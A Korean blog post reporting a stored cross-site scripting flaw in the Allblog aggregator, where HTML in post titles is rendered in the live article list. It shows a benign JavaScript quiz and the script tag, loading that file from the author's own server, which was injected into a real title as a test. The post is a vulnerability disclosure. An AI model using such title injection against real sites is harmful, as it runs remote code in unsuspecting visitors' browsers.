I wannabe FALCON

오늘 "<p> 태그와 block, inline의 관계"라는 제목의 글을 올리고 놀라고 말았다. 올블로그의 실시간 글 목록에서 제목의 "<p>" 부분을 태그로 인식한 것이다. 아래는 캡쳐 화면이다.

이게 무슨 큰 문제이냐고 할 지 모르지만, 의외로 큰 허점이 될 수 있다. 제목에서 태그를 인식하고 목록에서 그것을 표현한다는 것은 악성태그 역시 인식이 된다는 얘기다. 올블로그 측에서 <p> 태그처럼 별 문제 없다고 생각되는 태그만 인식되도록 소스를 짰을리가 만무하기 때문이다. 그리고 <p>나 <br />이 별 문제 없는 태그인 것도 아니다. <br />만 10번 가량 제목에 쓰고 글을 올리면?

그래서 간단한 코드로 테스트 해봤다.

var pass="합격"
var nopass="불합격"

var ans1=prompt("독일 월드컵은 몇 년도에 열리나요?","")
var res1="2006"
var ans2=prompt("한일 월드컵에서 우리나라는 몇 강까지 갔나요?","")
var res2="4"
var output=((ans1 == res1) && (ans2 == res2)) ? pass : nopass
       
document.write(output)

위 코드로 js 파일을 만들어 내 계정에 올렸다.

<script src="http://rantro.dothome.co.kr/Noname2.js" type="text/javascript"></script>

을 제목에 넣었다. 아래는 그 결과 화면이다.

 

 
이런 간단한 자바스크립트에도 취약한데, 정말 위험한 악성코드는 어떨지... 올블로그는 이에 대해 빨리 대책을 마련해야할 것이다.

잠시나마 테스트 때문에 불편을 겪으신 분들께 죄송하다는 말씀을 드립니다.

크리에이티브 커먼즈 라이센스

이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.

6l4ck3y3 0x04 Web RCE Javascript, 악성코드, 올블로그, 취약점